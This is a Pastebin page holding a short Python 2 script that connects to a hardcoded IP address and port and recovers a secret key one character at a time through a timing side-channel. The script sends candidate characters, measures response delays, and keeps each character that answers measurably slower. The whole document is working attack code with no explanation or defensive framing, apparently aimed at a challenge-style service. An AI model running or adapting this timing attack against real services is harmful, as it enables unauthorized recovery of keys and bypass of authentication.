Advertisement
Guest User

Untitled

a guest
Nov 27th, 2014
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.93 KB | None | 0 0
  1. from socket import *
  2. import time
  3. from decimal import *
  4.  
  5.  
  6. s = socket(AF_INET, SOCK_STREAM)
  7. s.connect(("37.15.122.113", 9999))
  8.  
  9. recvd = "nvalid key"
  10.  
  11. def send(c):
  12.     global recvd
  13.    
  14.     s.sendall(c)
  15.     start = time.time()
  16.     s.recv(1)
  17.     recvd = s.recv(200)
  18.     s.recv(1)
  19.     return time.time() - start
  20.  
  21. send("pene\n")
  22.  
  23. print send("e\n")
  24. print recvd
  25. print send("t\n")
  26. print recvd
  27. print send("tI\n")
  28. print recvd
  29. print send("e\n")
  30. print recvd
  31. print send("e\n")
  32. print recvd
  33. print send("e\n")
  34. print recvd
  35. print send("e\n")
  36. print recvd
  37. print send("e\n")
  38. print recvd
  39. print send("e\n")
  40. print recvd
  41. print send("e\n")
  42. print recvd
  43.  
  44. lolz = ""
  45. tb = Decimal(send(lolz + "\n"))
  46. c = 0x30
  47.  
  48. print tb
  49.  
  50.  
  51. i = 0
  52.  
  53. while ":(" in recvd:
  54.     t = Decimal(send(lolz + chr(c) + "\n"))
  55.     print lolz + chr(c), "\t", t
  56.     if t > tb + Decimal(0.2):
  57.         if i == 5:
  58.             lolz += chr(c)
  59.             tb = Decimal(send(lolz + "\n"))
  60.             c = 0x30
  61.             i = 0
  62.             print lolz
  63.         else: i += 1
  64.         print
  65.     else:
  66.         c += 1
  67.     if c > 0x7f: c = 0x30
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement